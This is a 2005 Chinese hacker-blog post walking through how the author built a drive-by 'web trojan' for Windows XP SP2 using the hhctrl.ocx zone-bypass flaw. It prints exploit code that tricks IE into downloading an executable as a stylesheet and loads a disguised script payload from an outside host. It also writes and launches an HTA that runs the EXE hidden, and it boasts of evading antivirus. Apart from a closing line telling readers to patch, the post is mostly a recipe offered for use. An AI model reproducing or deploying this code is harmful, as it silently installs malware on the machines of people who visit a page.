2005-12-01 20:00:48 by: h4x0r

SP2网页木马制作全过程

Font Size: Large | Medium | Small
前段时间的Windows XP SP2网页木马已经在网上闹得沸沸扬扬了,一些人也写了生成器,其实大部分都出自冰狐浪子的一个JS脚本,但是经过测试成功率很低.这个SP2漏洞几个月前就已经公布,同时在国外一份Help Control Local Zone Bypass Exploit 也流传盛广.原理很简单,没什么神秘的,利用hhctrl.ocx(帮助控件)的漏洞跨域写脚本文件并执行.

网页木马是大部分黑客常用的一种手段,黑客通过漏洞制作网页,受害者浏览网页后后就会在无提示状态下载一个可执行文件运行.个人认为一个好的网页木马是三分漏洞、七分脚本,往往因为脚本的失误而导致网页木马的成功率减低,如最近的一些SP2网页木马,代码中有些小纰漏而导致成功率不高,而这个帮助控件的漏洞却是没问题的:)

经过一些资料的参考,我和无心伤心重写了下一个SP2网页木马的代码,使其效率提高了不少,下面我就简单的分析下制作过程及其原理:
一、可执行文件的下载.

在index里有一句代码<LINK href="ray.exe" rel=stylesheet type=text/css>,这个漏洞也已经很久了,让IE把可执行文件误认为CSS样式表而下载到IE的临时文件目录.

二、跨域漏洞的实现.

这里其实是完全仿照Help Control Local Zone Bypass Exploit中的代码,跨域漏洞的详细过程我就不解释了,其中最关键的一句是跨域运行脚本javascript:eval("document.write(\"<SCRIPT src=\\\"http://im-qq.nease.net/ray.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")
我想大家也看出蹊跷了,怎么SCRIPT标签里对应的是一个GIF文件,心细的人一定想到了,ray.gif其实就是个改了后缀名的JS.

三、JS脚本的原理分析.

因为HTA的权限和可执行文件差不多,所以调用ADODB.Recordset控件写入HTA.
try{o=new ActiveXObject("ADODB.Recordset");o.Fields.Append("a",200,3000);o.Open();o.AddNew();o.Fields("a").Value="这里是HTA的代码"

我这里的hta代码是参照冰狐浪子的一个脚本重写而成的,效率和隐藏加强了很多,原理是在IE临时文件夹内找到EXE,然后修改成AUTOEXEC.BAT隐藏运行.

四、跨域运行HTA的实现.

最后参照Help Control Local Zone Bypass Exploit,实现写入HTA并运行.

document.write('<object id="bbs1" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="shortcut"><param name=item1 value="/,c:\\NTDETECT.hta"></object><OBJECT id="bbs2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="/Close"><\/object><script>bbs1.Click();bbs2.Click();<\/script>")

五、网页代码测试.

供测试的网页代码我放在文件夹里了,有加密和未加密的两种,测试代码有CHM窗口弹出仅供参考,无心伤心通过脚本的修改制作的SP2网页木马成功的躲过了KAV的查杀,详细见动画.

六、总结.

一个网页木马的制作就这么简单,不外乎漏洞加脚本,危害实在巨大,所以请大家即时更新漏洞补丁,以防受到黑客的恶意攻击.

动画下载:
Click Here To Download
[Last Modified By h4x0r, at 2005-12-01 20:09:33]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=222

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code